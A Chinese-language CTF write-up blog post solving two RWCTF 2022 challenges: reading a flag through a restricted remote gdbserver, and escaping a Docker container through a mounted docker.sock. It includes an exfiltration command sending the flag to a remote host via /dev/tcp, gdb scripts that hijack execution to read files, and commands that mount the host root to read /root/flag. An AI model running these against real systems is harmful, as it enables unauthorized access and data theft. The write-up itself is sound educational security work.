Lingze's blog Lingze's blog
timeline
about
friends
categories
tags

lingze

bin不是垃圾桶的意思!
timeline
about
friends
categories
tags
  • ctf_wp
  • rwctf
lingze
2022-01-23
目录

rwctf2022体验赛 debugger & docker

# rw2022 体验赛wp - debugger & docker

  • remote-debuger
  • be-a-docker-escaper
    • 题目文件
    • 本地调试

其实在sctf2021出题过程中, 喊队友出了个debuger控制台的题目,和之前docker暴露控制台端口被人搞了,想出个docker控制台的题目,但是一个队友咕了,一个没时间搭环境了。

却正好在今年的第一场比赛中看到了这么两个题目题目,确实有趣, 其实有点像misc。

# remote-debuger

其实比较简单,给的题目就是个gdbserver, 然后gdb内使用

target remote ip:port
1

进行连接,

本地可以简单搭起来环境,最开始直接想使用 gdb内置的call指令,直接调用函数,然后想反弹shell出来

call (int)execl("/bin/sh", "bash", "-c", "bash -c 'cat flag > /dev/tcp/ip/port'", 0)
1

但是运行报错,提示不允许修改 st0寄存器,看了下这个是浮点运算系列的寄存器,而且题目本身是64位不应该有问题,

然后翻阅他的gdbserver代码,这个不是标准实现的gdbserver, 所以在这个位置限制死了,不允许修改那个寄存器。

# arch.h
#ifdef __x86_64__

#include <sys/reg.h>

#define SZ 8
#define FEATURE_STR "l<target version=\"1.0\"><architecture>i386:x86-64</architecture></target>"
static uint8_t break_instr[] = {0xcc};

#define PC RIP
#define EXTRA_NUM 57
#define EXTRA_REG ORIG_RAX
#define EXTRA_SIZE 8

typedef struct user_regs_struct regs_struct;

// gdb/features/i386/64bit-core.c
struct reg_struct regs_map[] = {
    {RAX, 8},
    {RBX, 8},
    {RCX, 8},
    {RDX, 8},
    {RSI, 8},
    {RDI, 8},
    {RBP, 8},
    {RSP, 8},
    {R8, 8},
    {R9, 8},
    {R10, 8},
    {R11, 8},
    {R12, 8},
    {R13, 8},
    {R14, 8},
    {R15, 8},
    {RIP, 8},
    {EFLAGS, 4},
    {CS, 4},
    {SS, 4},
    {DS, 4},
    {ES, 4},
    {FS, 4},
    {GS, 4},
};

#endif /* __x86_64__ */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

于是考虑,不允许gdb修改寄存器,但是题目本身运行的时候可以修改, 我们只需要设置好参数, 即设置好传参寄存器,然后设置好$rip即可,试了下gdb的set指令,可以运行。

那么对于字符串,我们可以跑循环去设置,

set $str="...."
set $len=xx # len(str)
set $i=0
while($i<$len)
  set {char}$addr=$str[$i]
  set $i++
  set $addr++
end 
set $target=$start4-$len
x/s $target
1
2
3
4
5
6
7
8
9
10

于是直接得到这么一串gdb指令。这时候仍然考虑反弹shell, 但是本地docker内ok, 远程不行,猜测不出网,

于是使用 open read, 最后x/s 即可打印。

set $start1=xxx
set $start2=$start1+8

set $i=0
set $len=5
set $str="/flag"
while($i<$len)
  set {char}$start1=$str[$i]
  set $i++
  set $start1++
end 
set $flag=$start1-$len
x/s $flag
set $buf=$start2

set {void*}$rsp=main
b main 

set $rdi=$flag
set $rsi=0
set $rdx=0
set $rip=open
c
set {void*}$rsp=main
set $rdi=3
set $rsi=$buf
set $rdx=0x40
set $rip=read
c
x/s $buf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# be-a-docker-escaper

# 题目文件

首先看下相关文件,

dockerfile是docker环境启动的文件,在其中可以看到启动了一个qemu虚拟机,


CMD qemu-system-x86_64 \
  -drive "file=focal-server-cloudimg-amd64.img,format=qcow2" \
  -device rtl8139,netdev=net0 \
  -m 1G \
  -netdev user,id=net0,hostfwd=tcp::5555-:22 \
  -smp 2 \
  -nographic 
1
2
3
4
5
6
7
8

并映射出来了 22端口,这个是ssh登陆端口,

然后向上看到设置img文件等操作,可以发现user-data文件,

cloud-locals 用来通过user-data文件生成 user-data.img文件

查看这个文件,

可以看到内置安装了docker和ssh, 并拉取了ubuntu的image

apt: 
  primary:
    - arches: [default]
      uri: http://mirrors.aliyun.com/ubuntu/
      search: 
        - http://mirrors.aliyun.com/ubuntu/

packages:
  - docker.io
  - openssh-server
  
runcmd:
  - docker pull ubuntu
1
2
3
4
5
6
7
8
9
10
11
12
13

然后用户

groups:
  - docker

users:
  #- name: root
  #  ssh_authorized_keys:
  #    - "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEbCiWqn8LWe1Btot7vOTchv5MYfTaE8yHShPI6RP+Rx"
  - name: container
    groups: docker
    ssh_authorized_keys:
      - "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEbCiWqn8LWe1Btot7vOTchv5MYfTaE8yHShPI6RP+Rx"
    shell: /home/container/run.sh
1
2
3
4
5
6
7
8
9
10
11
12

这里有个ssh登陆的密钥设置,外面给了个ssh密钥,可以通过这个方案登陆进来。用户名 container

文件, 可以看到docker run的脚本,然后可以看到flag位置在/root/flag,

write_files:
  - content: | 
      #!/bin/bash
      docker run -i -m 128m -v /var/run/docker.sock:/s ubuntu # You are here!
    path: /home/container/run.sh
    permissions: "0755"
  - content: |
      rwctf{THIS_IS_A_TEST_FLAG}
    permissions: "0000"
    path: /root/flag
  - content: |
      {
        "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"]
      }
    path: /etc/docker/daemon.json
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

大致了解了,看下这个docker, -i 运行,

docker run -i -m 128m -v /var/run/docker.sock:/s ubuntu # You are here!
1

而且可以看到用户的默认shell就是这个文件,所以我们ssh进入以后会立刻运行这个文件,进入这个docker内。

ok, 于是我们连接远程时, 也是如此, 直接ssh进入到qemu并进入其中的docker中,

本地调试的话,其实可以docker build . -t docker-escaper, 然后docker run 将5555端口映射出来,然后可以通过ssh连接进入, ssh container@ip -p5555 -i id_ed25519

# 本地调试

我们看到这个docker启动的时候的错误在于映射了端口到container内,

简单来说,docker程序本身其实分为前台和后台程序,后台为daemon, 前台就是我们看到的shell中的docker 指令。

计算机上的docker其实都是在daemon中运行, 我们控制的前台通过一定的通讯协议控制daemon, 一般这个链接默认为 unix:///var/run/docker.sock, 即unix://unix文件,指向/var/run/docker.sock文件,我们也可以通过ssh tcp 等都ok, 如果前台docker有多个后台也可以通过docker context系列指令来进行控制。

我们可以看到, 这个程序启动docker的时候使用 -v参数将 /var/run/docker.sock映射到了容器内,也就是说容器可以访问到这个sock链接,那么如果容器中有前台程序docker指令的话,可以通过这个文件控制主机上的daemon, 然后启动一个容器并挂在根目录,进入这个容器内即可访问根目录,而且是root权限。

于是我搜索了一些相关的资料,主要是搜索 docker mount /var/run/docker.sock to container时, 可以看到一种称为 docker out of docker的技术,用于在container中使用docker,而且避免嵌套docker daemon带来的性能折损,于是直接往容器内挂在了主机的/var/run/docker.run文件,

image.png

于是我们本地调试其实可以简单的直接映射过来,

在本地起一个docker, docker run -d -i -m 128m -v /var/run/docker.sock:/s ubuntu,

然后在内部ubuntn中安装docker, 并使用--host指定daemon为unix:///s,

image.png

于是命令如下:

sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 
apt update 
apt install -y docker.io 
docker --host unix:///s run --rm -v /:/r ubuntu cat /r/root/flag
1
2
3
4
上次更新: 6/24/2025, 5:07:55 AM
Theme by Vdoing | Copyright © 2019-2025 lingze | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式